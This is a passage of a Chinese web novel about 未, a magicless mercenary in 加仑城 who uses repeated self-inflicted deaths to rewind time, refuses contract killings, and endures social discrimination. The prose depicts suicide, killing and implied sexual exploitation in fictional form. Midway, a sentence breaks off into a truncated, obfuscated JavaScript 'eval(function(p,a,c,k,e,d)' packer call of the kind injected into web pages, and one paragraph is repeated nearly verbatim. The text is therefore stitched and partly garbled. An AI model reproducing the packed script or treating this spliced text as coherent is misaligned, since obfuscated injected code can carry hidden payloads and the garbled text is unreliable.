时间仿佛在这一刻凝固了。垃圾场特有的、低沉的嗡嗡声,远处焚烧炉的轰鸣,似乎都退得很远。未能清晰地看到但脸上的表情——没有震惊,没有愤怒,没有鄙夷,甚至没有之前雪原上那种复杂的哀戚。那是一种更深沉的、近乎空茫的平静,然而在这平静之下,未仿佛能感受到一种无形的、巨大的压力,如同整个夜幕都压了下来,压在他的肩膀上,压在他握着匕首的、染血的手上。 他做了什么?他在哪里?他被谁看到了? 无数个问题爆炸般地涌入脑海,但最强烈的,是一种近乎本能的、无处遁形的恐慌。比被怀沙的打手围攻更甚,比被基因净化队追捕更甚。他无法解释,无法辩白,甚至无法思考。他就像一尊突然被强光照亮的、沾满泥污和血污的丑陋雕塑,赤裸裸地暴露在这道目光之下。 惯例的搜身?遗落的信用点?后续的委托报酬?所有的算计,所有的生存法则,在这一刻全都失效了。他脑子里只剩下一个念头,和面对那个穿上净化队制服的孩子时一模一样,却更加尖锐和迫切—— 逃。 他猛地转身,甚至顾不上脚下湿滑的垃圾险些让他摔倒,用尽此刻残存的全部力气,朝着与但所在位置相反的方向,朝着垃圾场更深处、更黑暗的迷宫般的地带,头也不回地狂奔而去。靴子踩在腐烂物上发出噗嗤的声响,惊起几只食腐的夜鸟,扑棱棱地飞起,发出不详的鸣叫。 他甚至不敢回头确认但是否还在看,是否跟来。他只是跑,拼命地跑,仿佛要将身后那具尸体、那片血腥、还有那道月光下寂静的凝视,永远地甩在身后,甩出他的世界。 两次相遇,两种截然不同的对象,却都以他狼狈不堪的逃离告终。一次逃离的是过往善举结出的、令他无法理解的扭曲果实;另一次逃离的,则是他当下血腥生存最直接的见证,以及那道似乎能穿透一切伪装、直抵他灵魂不堪处的目光。未在奔跑中,只感到一种彻骨的寒冷和孤独,仿佛这偌大的、罪恶的加仑城,再也没有一个角落,能容下他这副日益沉重、日益污浊的躯壳和灵魂。 不知道跑了多久,未终于在一个污水池边停住。他看着雨水池中自己模糊的、晃动的倒影。那张脸依旧苍白瘦削,眼下的乌青浓重得像化不开的墨,但至少,不再是那个完全从垃圾堆里爬出来的怪物了。他深吸一口气,试图挤出一个类似“平和”或者“谦卑”的表情,但嘴角刚扯动一下,露出的却是一个比哭还难看的、扭曲的弧度。 他愣住了。池水中的倒影也回望着他,眼神里是掩饰不住的惊惶、警惕,以及一种深植骨髓的、对周遭一切的不信任。那不是一个寻求信仰者的眼神,那依然是一只被困在陷阱里、随时准备撕咬或逃窜的野兽的眼神。 心底某个角落,一个冰冷的声音在嘲笑:看啊,你以为换件衣服,洗掉泥污,就能掩盖你是个什么东西了吗?博士的“作品”,怀沙的“工具”,擂台上的“野兽”,垃圾堆里的“残次品”……这些标签,早已刻进了你的灵魂,比你皮肤上的伤疤更深。 更深一层的寒意,源于很久之前,他在教堂藏匿时偶然偷听到的一段对话。 那是一个异常寒冷的夜晚,他蜷缩在忏悔室顶部的狭窄空隙里,下方传来两位神职人员压低嗓音的交谈。他们似乎是在清点库房物品,絮叨着日常琐事,话题不知怎的,转到了接纳新信徒的准则上。 “现在外面乱七八糟的传言太多了,”一个较为年长的、声音沉稳的神职人员说,带着一丝不易察觉的疲惫,“总有人以为,只要表现虔诚,或者有点用处,就能蒙混进来。” 另一个年轻些的声音带着好奇:“可是……不是说教会宣扬平等和接纳吗?我看最近收的几个,背景也挺复杂的……” “平等是主神眼中的平等,接纳是灵魂的接纳,不是垃圾桶,什么都往里收。”年长者的声音严肃起来,“最基本的两条铁律,外面传得歪七扭八,但你我要清楚:一是双手不可沾染无辜者之血——当然,自卫与裁决另当别论,但裁定权不在个人。更确切地说,是要求身心尚未被‘夺取生命’的罪孽所彻底玷污,尤其是为私欲、为利益、为堕落而主动为之的杀戮,会彻底蒙蔽灵魂,让圣痕无法真正显现。” 未在黑暗中屏住了呼吸。 “二是身体需保持洁净,远避淫行。”年长者的声音继续道,在寂静的夜里格外清晰,“并非苛责,而是身体作为灵魂的殿堂,若早已沦为欲望交换的场所,或经历过……强制性的玷污而未得净化,其内在的平衡与神圣性便已受损,难以承载纯粹的信仰之力。这是古老的训诫,关乎存在本质的纯洁,与外在的遭遇有关,更与之后的沉沦与否有关。” 年轻者似乎吸了口凉气:“这么严格?那岂不是……” “所以筛选才要谨慎。”年长者叹了口气,“流言总说我们什么人都收,那是误解。真正的核心门槛,高着呢。手上染过不该染的血,身体经历过无法净化的纠葛……这样的人,灵魂太过沉重,背负的锁链太多,难以真正走进来。即便进来了,对他们自己,对教会,也未必是好事。” 对话渐渐转向其他事务,但未已经听不进去了。他蜷缩在冰冷的黑暗里,感觉全身的血液都冻住了。 双手不可沾染……为私欲、为利益、为堕落而主动为之的杀戮…… 博士算不算?那算自卫吗?还是解脱?那之后呢?怀沙的打手呢?那些在黑暗中试图伤害他,被他反过来…… 身体需保持洁净……远避淫行……沦为欲望交换的场所……强制性的玷污…… 俱乐部里那些昏暗的房间,那些令他作呕的触碰与交易,为了换取一点点信用点或是一点可怜的信息……那些算是什么?是“交换”吗?还是“强制”?抑或两者都是?他的身体,早已不是“殿堂”,而是被使用、被磨损、被标价的工具。 两条铁律,像两把精准的冰锥,将他钉死在原地。他一条都不符合。他甚至无法辩解说自己是“无辜”的。博士的死或许有争议,但之后呢?至于身体……他连自欺欺人都做不到。 原来,那个看似可能的避难所,那条看似垂下的蛛丝,从一开始,就与他无关。他所渴望的机会,他所设想的提携,都建立在一个他永远无法满足的基础之上。他像个在玻璃窗外眼巴巴看着炉火的人,却不知道那扇门,早就对他这种“灵魂太过沉重,背负锁链太多”的人关闭了。 他曾经努力收拾干净,不过是一场可笑的徒劳。洗干净外表又如何?他灵魂和身体上的“污渍”,早已深入骨髓,无法涤除。那一刻,比自我否定更甚的,是一种彻底的绝望。他连申请的资格都没有。 正是这份偷听来的、冰冷的确信,加上对自身不堪的深刻认知,让他在之后雪原上的相遇中,做出了那样的反应。 当但出现,当对方递出药膏,表现出一种他无法理解的、近乎“洁净”的关切时,未感受到的不是希望,而是更加尖锐的痛苦和恐慌。那身月白色的祭司袍,那双霜蓝色的眼睛,仿佛都在无声地映照出他的肮脏与不堪。对方越是靠近,越是试图传递善意,未就越发清晰地看到自己与那道门槛之间不可逾越的鸿沟。 他如何能面对这样一个人?如何能让对方知道,自己这个双手染血、身体早已在泥泞中打滚的人,竟然还曾痴心妄想得到教会的接纳?但的靠近,在他眼中无异于一种审判,一种对他隐秘渴望和不堪真相的残酷揭露。 所以,当猎枪声响起,他毫不犹豫地选择了最熟悉的方式——逃离。不仅仅是逃离可能的危险,更是逃离那双仿佛能看穿他所有污秽的眼睛,逃离那个他永远无法企及的、洁净的世界投来的短暂一瞥。那瓶被塞进口袋的药膏,与其说是善意,不如说是一个刺眼的证据,证明他曾经多么可笑地奢望过,又多么彻底地不配拥有。 就在这种自我否定、绝望认知与极度渴望交织的、令人窒息的混乱中,他迎来了那个意想不到的、与他渴望接近的那个世界产生交集的契机——虽然,是以一种他完全未曾预料、也几乎搞砸了的方式。 为了寻找效果更好些的冻疮药,他冒险深入了城市边缘一片被遗弃的雪原…… 这样的故事他已经不想再听了。治疗冻疮很简单,仅仅是死亡等待□□重塑即可。 17. 【八】 委托完成的报酬,比未预想的要丰厚。不仅仅是信用点,还有一样更重要的东西:一个极其简陋的、刻在某种黑色金属片上的符文标记。中介告诉他,凭这个,他可以在几个指定的、更加隐蔽的地下节点查看和接取新的委托。他终于不再是只能依靠偷窃、零工或被动反击来生存了。他找到了一种可以将自身的“经验”——那些无数次死亡换来的对危险的本能、隐忍、观察力以及逐渐冷酷起来的决断——明码标价出售的方式。 雇佣兵。 这个身份悄然落定,如同另一层皮肤,覆盖在他早已伤痕累累的躯体之上。它不带来荣耀,甚至不带来真正的归属感,但它带来了一样未渴求已久的东西:相对的稳定和主动。他总算不必像个永无止境的逃亡者,被动的承受来自各方的恶意和追捕。现在,他可以选择目标,评估风险,然后执行。生或死,依然悬于一线,但线的一端,多少攥在了他自己手里。 信用点开始以稳定的、远超以往的数量流入。他不再需要为了一日两餐而鋌而走险去偷窃,也不需要忍受那些最底层零工的盘剥和羞辱。他甚至开始按时缴纳呼吸税。起初,走到税务点,将信用点转入那个冰冷的机器接口时,他还有一种奇异的不真实感。他曾经像躲避瘟疫一样躲避这些代表秩序的节点,如今却成了它的合作者——至少,是它规则下一个暂时被容忍的存在。 有了相对稳定的收入和不再被疯狂追捕的喘息空间,他开始认真对待那个信号塔下的地堡。以前,那只是个勉强遮风挡雨、随时准备丢弃的临时巢穴。现在,他花费信用点,从黑市弄来了一些相对坚固的金属板材、基础的焊接工具,甚至是一小罐能隔绝部分能量辐射和低温的特殊涂料。他仔细地加固了顶部的破洞,铺设了简陋的防潮层,划分出睡觉、存放物资和简单处理伤口的区域。他还安装了一扇可以从内部牢固锁死的、用废旧飞船舱门改造的铁门。整个过程耗时颇久,但他做得一丝不苟。这不再仅仅是藏身之所,这是他用自己的工作换取来的、第一个可以称之为据点的地方。加仑城对边缘地带的私人搭建通常睁只眼闭只眼,只要不涉及敏感区域或影响“上面”的利益,这种微小的、底层的“安定”是被默许的。他的地堡,如同城市躯体上一个微不足道、自行愈合的疮疤,静静存在着。 时间在委托、地堡的修缮、伤口的愈合与新增中悄然流逝。季节轮转,加仑城的天空却永远是一副灰败的、病恹恹的样子。未的变化是缓慢而深刻的,并非外在,而在于他对某些根本事物的感知与利用方式。 死亡,这个曾经带来无尽痛苦和恐惧的终点,逐渐在他手中褪去了神秘与庄严的色彩,变成了一种……可以运用的工具。他并非不再感到疼痛或恐惧,而是开始以一种近乎残酷的理性去“规划”死亡。 他不再像以前那样耗尽心力去周旋或忍受酷刑。他会评估形势,如果判断生还或逃脱的希望渺茫,并且死亡回溯能将他送到一个更有利的时间点或地点,他会选择主动了结。一次,他被一队手段狠辣的变种人稽查队堵在死胡同,眼看要被拖进他们的审讯室——那里以令人发指的折磨手段闻名。未几乎没有犹豫,在对方试图给他戴上抑制器的一刹那,猛地用后脑撞向墙壁突出的锋利金属构件。意识湮灭的瞬间,他感到的并非解脱,而是一种冷静的“重置”。再次睁开眼,他正站在几分钟前经过的街角,手里还拿着刚买的、没吃完的半块合成蛋白棒。他平静地咀嚼着,转身,选择了另一条完全不同的路线,避开了那个陷阱。死亡,成了一种极端的、代价巨大却有效的“撤销”键,或者说是通往另一个可能性的、血腥的快捷通道。 他甚至开始利用这种“能力”来获取信息或验证某些事情。在一次与一个以奸猾著称的黑市武器商交易时,对方吹嘘着一把能量匕首的破甲效能。未没有争辩,而是提出当场“测试”——他让商人用那把匕首刺向他指定的、非致命但能清晰感受穿透力的部位。在商人惊愕的目光中,匕首刺入,剧痛传来,数据也被生死之誓和他自己的身体同时记录。随后,他在商人面前“死去”,又在约定交易时间前几分钟“回来”,带着清晰的伤口记忆和对匕首性能的准确评估,以更低的价格完成了交易。久而久之,在某些极其狭窄的圈子里,流传起一个古怪的传言:有个不要命的雇佣兵,验货方式与众不同,而且结果精准得可怕。死亡,成了他特殊的、无法被模仿的“质检手段”。 这种对死亡的频繁且主动的“使用”,不可避免地影响了他对痛苦的感知。博士曾经做过类似的事情——通过精确控制痛苦刺激与“奖励”或“惩罚”的关联,来塑造行为,磨钝感知。未在无意识中,走上了某种危险的同构道路。他开始有意识地尝试忍受、分析甚至“欺骗”痛觉。他会故意制造一些非致命的伤口,在剧痛达到顶峰时,强行集中精神,或者通过生死之誓的某种微弱联系,试图在痛苦中寻找一丝奇异的、脱离□□的冷静。过程艰难且收效甚微,但次数多了,他发现自己对疼痛的即时反应似乎变得有些……迟缓了。 更微妙的变化发生在对时间和因果的感知上。当死亡不再是绝对的终结,而是一个可以反复抵达并折返的“节点”时,一些根深蒂固的界限开始模糊。他曾做过一次极端的、连他自己事后都觉得有些失控的尝试:在同一地点、几乎同一时刻,连续自杀三次。第一次从高处跃下,第二次在坠落的半空用碎玻璃割喉,第三次则在意识尚未完全消散前,引爆了身上携带的一枚小型电磁脉冲装置。他想知道,是否存在某种“死亡”的极限或悖论。结果是他“看到”了三具属于自己的、以不同方式残缺的躯体,短暂地并列在冰冷的街道上,然后世界如同卡顿的影像般扭曲、闪烁,一切被强行“重置”回某个更早的节点。那次之后,他有时会在思考如何“处理”某个麻烦的对手或障碍时,脑海里会跳出一些非常规的、带着冰冷效率感的词汇。他可能会想清除掉那个税务官,或者“删除”那段不必要的追踪。 生命的存在与消失,在他反复穿越生死的视角里,某种程度上被简化为了“存在”与“不存在”的状态切换,其过程中对自己的迫害在无数次重置的冲刷下,变得稀薄而怪异。他清楚这不对劲,但他将这种逐渐麻木的疏离感,归咎于自己看了太多次“鲜血”,就像长期盯着强光的人,再看寻常色彩也会觉得黯淡模糊。 在一次相对高报酬的护送委托中,他再次遇到了雷蒙德。那个曾将他带入加仑城,又将他丢弃的前任基因净化队军官。雷蒙德带领着一支小队,似乎在执行某项巡查任务。两人在一条狭窄的通道里迎面相遇。 未的肌肉瞬间绷紧,手悄然移向武器。但雷蒙德只是用那双锐利的眼睛扫了他一眼,目光在他身上明显精良了不少的装备和那股沉淀下来的、不再只是惶恐的冷硬气质上停留了一瞬,几不可察地皱了皱眉,然后便像看一个无关紧要的陌生人一样,移开了视线,带着小队从他身边径直走过,没有任何表示,更没有找麻烦的意思。 未站在原地,直到对方的脚步声远去。他忽然明白,自己已经不再是当初那个可以被随意丢弃、自生自灭的“实验室残次品”了。这是一种新的平衡,建立在实用主义的评估之上,与他是否被原谅或接纳无关。 然而,正是在他逐渐适应这种雇佣兵生涯,并开始以一种扭曲的理性运用自身特质时,他为自己设定了一条绝不再逾越的界限:拒绝一切以杀人为直接目标的委托。 无论目标被描述得如何罪大恶极,无论报酬多么丰厚,无论中介如何暗示这是提升等级和名誉的捷径,他都不再接取。护送、侦查、破坏特定设施、夺取或保护某样物品,甚至是一些游走于灰色地带的威胁与恐吓……这些他都做。但只要最终要求是明确地清除某个人,他便摇头。 这个决定并非出于突然复苏的道德感。那东西在他体内早已稀薄如烟。更多是源于一种更深层的、连他自己也未必能完全厘清的抵触。第一次委托,那个水系魔法师喉咙喷出的温热血液,以及事后得知的真相。 那个死于他第一次委托匕首下的水系魔法师,那个黑市器官贩子,后来未才知道,他不仅是自己当初从怀沙手中救出的那个男孩的亲生父亲,而且正是多年前亲手将孩子卖进俱乐部的人。如今,那男孩在基因净化队中被称为蒙加。 那个器官贩子当年换取的,不过是几管致幻剂或一笔快钱。而如今,蒙加在队中崭露头角,未则用雇主支付的酬金,了结了这位父亲肮脏的生命。 这个迟来的真相没有带来激烈情绪,没有快慰,也没有懊悔。它像一枚早已射入骨髓、此刻才被察觉的冰冷弹头,带着缓慢而确凿的寒意,永久地嵌入了未对“雇佣兵”这项职业的全部认知里。 那不仅仅是一次委托,一个恶徒的伏法。它成了一个狞笑着的、自我指涉的莫比乌斯环。他曾动用那点可悲的善意与勇气,自以为是将一个孩子从深渊边拉回;而数年之后,他为了在这深渊边缘为自己挣得一席之地所挥出的刀刃,斩断的竟是当初将孩子推下深渊的那只手的血脉。他的“拯救”与他的“工作”,在这个被卖掉的男孩身上,完成了一次充满恶意的、闭环式的对接。命运用最简洁的笔触,将他两次关键的选择勾连起来,构成了一幕诠释徒劳与反讽的短剧。 他并非对杀死恶棍感到道德不安。加仑城最不缺乏的就是恶棍,死亡是他们应得的结算。真正让他无法忍受的,是自己那只握刀的手,在那一刻彻底沦为这场荒诞剧中一个浑然不觉的、被雇佣的提线木偶。金钱和所谓的行业资格,牵引着他的手臂,完成了一次对过往那点微弱善意的、连他自己都未曾预料的终极否定与嘲弄。他用血与挣扎换来的选择权,最终选择的,竟是亲手为一段始于贩卖的悲剧钉上最后、也最讽刺的棺钉。 他也偶然得知,怀沙,那个俱乐部的主人,那个曾将他视为工具和麻烦的阴郁男人,竟然也有一个孩子,年纪似乎和蒙加当初被他救下时差不多大。这个消息只是作为一个无关紧要的背景碎片,掠过他的意识。他没有任何探究的欲望,也不觉得意外。加仑城的每个人,或许都藏着一些与外界狰狞面目截然不同的角落,但那与他无关。得知怀沙有孩子,只是让他更加确信,当初逃离那个人,是再正确不过的选择。自己和蒙加明明都和他的孩子一样大,但是也无法收获多一点点的同情。怀沙的收留更像未展现出耗材天赋后漫不经心地保养,更别说还有那些更恶心的事情了。那潭水太深,太浑浊,他不想,也没有必要再去搅动。 至于蒙加父亲之死的真相,未没有去求证,也没有试图联系蒙加。他能说什么?道歉?解释?那毫无意义,只会将两人拖入更尴尬、更痛苦的境地。他选择了将这件事,连同蒙加这个人,一起封存进记忆里某个不再轻易触碰的角落。过去的善举与当下的血腥,以这样一种方式交织,除了证明这座城市的荒诞与个人命运的无力,再无其他。 这让他感到一种深彻骨髓的恶心,不是对血腥,而是对自身行为在那更混乱图景中所扮演的、无法控制的荒谬角色。他无法再承受自己的行动,被纳入另一个可能同样扭曲的伦理泥潭,去制造下一个无法预料的因果结节。 每一次为了自卫或任务被迫夺取生命,事后那生理性的颤抖、恶心与漫长不适,都在提醒他这件事本身的“重量”。这种重量并不因对方是恶人,或自己有权重来而真正消失。他可以“使用”死亡,可以近乎工具化地对待自身的终结,但这不意味着他能以同样心态,去充当他人死亡的直接、冷静的“执行者”。 那条“等对方先出手”的底线,就这样从个人防卫扩展到了职业选择。他只在刀锋迫近眼前时才挥刀反击,却拒绝主动将刀锋指向某个特定之人的咽喉,即使有人付钱,即使那人该死。这条自我设限的准则,很快为他带来了切实的后果。 雇佣兵的世界自有其残酷的晋升逻辑。最能体现价值、建立威信、获取巨额报酬和隐秘资源的,永远是那些最肮脏、最直接、也最考验执行者冷酷程度的工作——清除。拒绝这一核心业务,意味着未主动将自己排除在了这个灰色领域的上升通道之外。他的名声开始变得有些微妙。 “那个信号塔的未?活儿做得还算干净,侦查挺准,逃跑和反跟踪是一流,对自己也够狠……但就是不接‘红活儿’。” 类似的评价在有限的地下渠道里流传。 “不接红活儿?” 有人嗤笑,“那算什么雇佣兵?顶多算个高级点的跑腿或者贼。” “听说他有点邪门,好像死不了似的……不过,连人都不敢杀,再邪门也成不了气候。真遇到硬茬子,谁会找他?万一关键时刻手软呢?” 他的信誉卡在了一个尴尬的瓶颈。雇主们认可他的专业技能和诡异的生存能力,对于某些不需要见血或者只见少量血的委托,他是个不错的人选,收费合理,嘴也严。但一旦涉及真正的硬仗、涉及可能与强大势力发生直接致命冲突、或者需要以彻底消灭对手来解决问题的任务,他的名字很少被列入首选。他不是不可靠,而是不完整。在加仑城的阴影规则里,一个不能最终用死亡来解决问题的人,其用途和威胁性都被打了个折扣。 因此,他接到的委托大多停留在中等风险、中等报酬的层次。足够他维持地堡、购置装备、缴纳各种苛捐杂税并略有盈余,但远远不足以触及这个城市真正黑暗核心的利益,也无法让他积累起令人忌惮到不敢轻易招惹的名望。他就像一只精心构筑了巢穴、獠牙锋利却拒绝捕猎大型活物的野兽,在食物链中占据着一个稳固但无法继续上升的位置。 他也曾旁敲侧击地听说,怀沙竟然也有一个孩子,年纪大概和当年的蒙加相仿。这个消息只是让他更加确信自己远离那摊浑水的正确。他对怀沙的过去、对那个孩子一无所知,也毫无兴趣。加仑城的每个人都是一座孤岛,表面或许狰狞,深处可能藏着截然不同的景观,但探知那些,除了可能引来新的麻烦,毫无意义。他将与蒙加相关的所有记忆——雪原上的制服、父亲的死、那荒谬的纠葛——都封存起来,不再触碰。有些线,一旦交叉过一次,产生了那样讽刺而疼痛的结节,最好的方式就是彻底绕开,永不相交。 未继续着他的生涯。地堡在一次次添置中越来越像样,装备逐步更新,生死之誓上的数字缓慢增长。他熟练地运用着对死亡的异化理解,承受着日益疏离的痛感,在有限的委托类型中寻找着生存的空间。他变得越发沉默寡言,眼神里的情绪如同被冰封的湖面,难以窥探波澜。他活了下来,甚至获得了一种局部的、有条件的“自由”,代价则是内里的某种温度不可逆转地流失,以及在那条通往阴影世界更深处的道路上,主动为自己设置的路障。他成了一个技艺精湛却自我设限的雇佣兵,一个在加仑城巨大阴影下,既未被光明接纳,也未被黑暗完全吞噬的,孤独而凝固的存在。天空依旧灰败,而他在这灰色中行走,身影清晰,前途却似乎早已被自己划定在一个无法突破的圈内。 …… 未是在许多个看似无关的碎片时刻里,逐渐拼凑出加仑城某些隐秘规则的。这些规则并非写在哪本法典上,而是像空气里的尘埃,弥漫在每个角落,吸附在每一次呼吸、每一个眼神和每一句看似寻常的话语里。它们构成了一套精密的、无声的筛网,将人分成三六九等,而筛孔的大小,往往与魔法天赋、基因纯度或仅仅是“看起来是否正常”紧密相关。 起初,这些规则曾以极其直接、甚至粗暴的方式施加在他身上。在他还只是一个挣扎在生存线上的无名之辈时,他几乎每日都在亲身体验。比如社区那台老旧的公共取水器。它并非总是故障,但故障往往发生在他或者与他相似气息的人靠近时。有时是机器突然停止出水,有时是排在他后面的人会突然高声抱怨,指责他的存在“干扰了魔力流”,导致机器失灵。管理员便会无奈地宣布暂停供水进行检修。未往往只能提着空荡荡的水壶离开,背后是人群如释重负的叹息或幸灾乐祸的低语。他后来才意识到,这未必是机器或管理员刻意针对他个人,而更像是一种心照不宣的合谋:当资源紧张时,群体需要找到一个最无力的原因来转移矛盾,而他恰好是那个最安全、最不会反抗的靶子。有一次,在经历了这样的早晨后,他在取水器旁边一个不起眼的凹陷处,发现了一小袋用油纸包裹的冷凝水,水质清冽,袋子上有一个极淡的、属于教堂的秘纹印记。他没有声张,默默收起。这是规则之外,极其罕见的、沉默的善意,如同石缝里渗出的水滴,微小却真实。 他也曾试图寻找稍微正规一点的零工,比如那些贴在布告栏上的招聘启事。有些要求看起来合理,比如体力劳动;但更多时候,会附加一些令人费解的条件。“需基础静电吸附能力(Ⅰ级及以上)”——这是一个清洁工岗位的说明。未后来才明白,这意味着雇主希望雇佣拥有微弱的、可以吸附灰尘的静电系魔法能力者,以节省清洁工具的成本。像他这样毫无魔力反应的人,连申请的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在黑市那个光线昏暗、气味混杂的地下诊所里,未更直观地感受到了这种基于价值的残酷计算。一次他受了颇重的刀伤,需要缝合。医生给前面一个胳膊断折的变种人报价是两百信用点,轮到未时,瞥了一眼他毫无魔力波动的身体,眼皮都不抬地报出了五千的天价。理由是:“你的体质无法自然抵抗伤口感染,需要特制的无菌环境和抑菌药剂,成本很高。”未知道这是谎言,空气中消毒水的刺鼻味道和对方手上并不干净的工具都说明了这一点。但他没有争辩的资本。就在他犹豫时,排在他后面一个看起来有些虚弱、据说拥有低阶治愈能力的变种人突然虚弱地倒地呻吟,护士立刻焦急地对未说:“求求你,让这位治疗师先看吧!他能救更多的人!”所有人的目光都集中过来,无声的压力如同实质。未沉默地退开,最终只能用最原始的方法处理伤口,导致伤口后来溃烂化脓,折磨了他很久。讽刺的是,那家诊所不久后因为涉嫌倒卖某种违禁生物组织而被机械卫队突击查封。未的诊疗记录,连同那天发生的一切,都在混乱的数据流中被彻底抹去,仿佛从未存在。 日常的出行也充满微妙的排斥。公共磁轨列车设有舒适车厢,拥有一定魔力强度的人可以凭借自身散发的能量场免费进入,而像未这样的人,则需要购买价格高昂的防干扰颈环才能踏入,否则会被门禁系统拒绝。即便在普通的车厢里,他也常常是那个被刻意避开的存在。一次,他蜷缩在角落,邻座一位衣着体面的人温柔地拉着孩子的手,声音不大却足以让附近的人听清:“宝贝,离那个人远一点,知道吗?有些人身上带着我们不了解的东西,靠得太近可能会不舒服哦。”那孩子似懂非懂,却拿着手里的玩具激光笔,好奇地将红色的光点一次又一次打在未破旧的衣角上,留下微小的灼痕。车厢里没有人出声制止,大多数人移开目光,仿佛什么都没看见。未只是低下头,将衣角攥紧。 他甚至短暂地接触过教堂开设的、面向贫民的免费识字班。他渴望理解这个世界的文字,或许能从中找到一丝改变的契机。然而,教会使用的初级课本被施加了微弱的圣光魔法。对于信徒或稍有感知力的人,触摸书页是温润的;但对于未这样完全与魔法绝缘的体质,指尖触及之处,会传来细微却清晰的灼痛感,如同被低温烫伤。后来未才知道,那个总是沉默地整理书籍、偶尔会提前解开某些简单魔法锁让未能接触到一些真正基础识字册的年轻修士(听外貌描述应该是但),因为擅自改动教具而受到责罚,被派去清洗祭坛长达数月。 这些无处不在的、细微而坚韧的歧视,像一层层透明的胶膜,将他与这个社会隔离开来。它们并非总是来自上位者的直接命令,更多时候,是源于资源争夺下的自保,源于恐惧的转嫁,源于长期灌输下的盲从,甚至源于一种扭曲的、试图在更弱者身上找回一点点可怜优越感的心理。它们构成了一个复杂的生态系统,每个人都在其中扮演着或施加、或承受、或转嫁的角色。未曾经是这个系统最底层的承受者。 然而,这一切随着他雇佣兵身份的稳固和名誉的积累,开始发生了微妙却显著的变化。 最直观的改变来自那些曾经直接施加歧视的场合。公共取水器前,当他再次出现时,之前那些习惯性抱怨的低语消失了。人们或许认出了他,或许只是感受到了他身上那股沉淀下来的、不再只是惶恐无助的冷硬气息,以及腰间或靴筒里隐约透出的武器轮廓。管理员甚至会在他接水时,刻意避开目光,或者生硬地点头示意。那套干扰魔力流的说辞,不再适用于他。他不是拥有了魔力,而是拥有了另一种被地下世界部分认可的危险性和实用价值。 黑市的商贩和诊所医生,对他的态度也发生了转变。价格依然会比给那些有背景或天赋的人高一些,但不再有那种明目张胆的、近乎侮辱性的歧视性加价。他们开始用对待潜在危险客户或有独特价值的麻烦人物”的态度来对待他:谨慎、保留,但至少维持着表面上的、基于交易的公平。那个曾经让他先让位的低阶治愈系变种人,如果再在诊所遇到他,很可能会低下头,装作没看见。 磁轨列车上,不再有人会特意拿他作为教育孩子的反面教材。他依然进不了舒适车厢,但普通车厢里,他往往能占据一个相对宽敞的角落。 甚至教会识字班那种隐秘的排挤也消失了。当然,他早已不再去那里。 未冷静地观察着这些变化。他清楚地知道,施加在他身上的歧视并未消失,它们只是转移了目标,施加到了那些比他更弱小、更无依无靠的新来者身上。 在这个过程中,未也并非完全被动。他利用自己逐渐积累的资源和观察力,开始更深入地理解这套系统的运作方式。他发现,许多歧视和误解,其实根植于知识的匮乏和信息的扭曲。 比如,他亲眼见过黑市商人向一位看起来涉世不深的年轻祭司(他后来认出那是但)兜售所谓的诅咒防护手环。那手环实际上是从某个废弃的第三代科技遗址里流落出来的、早已过时的二手心率监测仪。商人信誓旦旦地说需要贴身佩戴,遇到邪祟会发出蜂鸣预警。但盯着手环上闪烁的蓝色蓝牙指示灯,竟然很认真地询问:“这缕幽蓝的鬼火……能否通过祈祷或仪式,将其转化为代表神圣的金色?” 未当时恰好路过,差点被这荒谬而虔诚的误解呛到。后来他听说,那位祭司因为手环在他过度使用治愈魔法导致心动过速时疯狂报警,而坚信自己被强大的魔物缠上,惶惶不可终日,最终是另一位略懂些旧时代科技的流浪汉哭笑不得地向他解释,那只是设备低电量和心率异常的提示,并非邪灵索命。这类因知识断层导致的认知错位,在加仑城比比皆是。底层居民可能会把锈蚀的辐射警告标志当成驱邪神符刮下粉末服用;商户的招牌或宣传语上常常出现令人啼笑皆非的错误拼写,却无人敢指出,因为指出者往往被视为挑衅;来自不同时代、不同文明的科技残片、文化碎片在这里混杂,被赋予各种离奇的解释,形成了一套光怪陆离的、本地化的知识体系。未自己掌握的、由博士教导的那种复杂而古老的语言和知识,在这个环境里毫无用处,甚至是一种累赘,因为它与通行的认知框架格格不入。 他也见识过更隐蔽的互助形式。药剂师老板总是在他询问某种基础药物时大声抱怨缺货,但转身后,货架某个不起眼的角落,总会有一瓶贴着错误标签、价格却公道得多的替代品。曾有一次参与驱赶他的醉汉,在某个深夜将一包偷来的、对未的伤势有效的抗炎药剂扔进他临时的栖身之所,附带的字条上歪歪扭扭地写着:“抵一点债。” 最让未感到复杂的是,有一次他藏身的废弃集装箱区域遭到机械卫队的突击搜查,据说是为了清剿潜伏的“高危目标”。那些冰冷的机械用扫描仪掠过一个个集装箱,却在掠过他所藏身的那个时,指示灯闪烁了几下,并未停留,径直离开了。后来他模糊地听说,那次行动的目标与所谓的穿越者有关,而他的无魔力反应在系统的判定逻辑里,可能被归入了不具备相关威胁特征的类别,从而意外地成为了他的保护色。这些微小、偶然、动机各异的“帮助”,如同黑暗冰原上零星的火星,无法带来温暖,却偶尔能照亮脚下寸许,让人不至于彻底冻僵。 未明白,自己如今的“安全区”是脆弱的、有条件的。它建立在他的实用价值、他的危险名声,以及他有意避开最血腥冲突的选择之上。他不再接杀人委托,这固化了他在某个层次的声誉,也无形中减少了许多不必要的致命仇怨。他像一个技艺高超却声明只做特定活计的手艺人,在混乱的市场中找到了一个相对稳定、风险可控的生态位。 他听说蒙加在基因净化队中愈发活跃,听说怀沙的俱乐部依然在某个角落运转,听说雷蒙德又升迁了……但这些都已成为遥远的背景噪音。他不再关心那些复杂的恩怨与因果,无论是善意的还是恶意的闭环。他将注意力集中在自己的地堡,手中的匕首,以及下一个能够让他继续维持这种脆弱平衡的委托上。 18. 【八】间章 有了相对稳定的信用点流入,未首先考虑的是更新装备。在加仑城,纯科技驱动的精密义体是稀缺品,流通在黑市上的往往是些笨重、副作用大或来源可疑的淘汰货。魔法驱动的附魔武器或护具倒是更多,但对于未这样连最微弱的魔力共鸣都无法产生的体质而言,它们与废铁无异。魔法药剂对他同样无效,无论是治疗还是强化;而无需魔力激发、纯粹依靠生物或化学原理起效的常规药物,在加仑城这个魔法与基因技术交织的环境里,反而产量稀少,价格不菲。 这种客观限制,在某种意义上,倒成了帮未存钱的间接助力。他无需在琳琅满目却大多无用的魔法道具上浪费信用点,也无须追逐那些华而不实、与他绝缘的强化路径。他的需求变得极其朴素而直接:更锋利、更坚固、更称手的物理武器,以及少数几种能切实增强生存能力、且副作用尽可能小的基础植入体。 